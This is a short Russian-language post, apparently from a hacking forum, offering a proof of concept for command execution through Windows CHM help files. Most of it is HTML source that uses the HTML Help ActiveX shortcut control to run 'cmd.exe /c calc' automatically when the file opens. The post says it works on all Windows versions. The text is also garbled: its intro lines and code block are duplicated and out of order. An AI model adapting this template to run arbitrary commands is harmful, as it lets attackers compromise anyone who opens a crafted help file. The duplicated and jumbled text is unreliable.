Локальная уязвимость в файле справки CHM, запуск исполняемых файлов.
Возможно уже устранена в последних апдейтах винды, возможно нет.
Работает на всех виндах.
Сорс:
пример CHM файла, запуск калькулятора:
Возможно уже устранена в последних апдейтах винды, возможно нет.
Работает на всех виндах.
Сорс:
<HTML DIR="LTR">
<BODY>
Exma Group
<OBJECT id=a classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=",cmd.exe,/c calc ,">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<script>
a.Click();
</SCRIPT>
</BODY>
</HTML>
<BODY>
Exma Group
<OBJECT id=a classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=",cmd.exe,/c calc ,">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<script>
a.Click();
</SCRIPT>
</BODY>
</HTML>
пример CHM файла, запуск калькулятора:
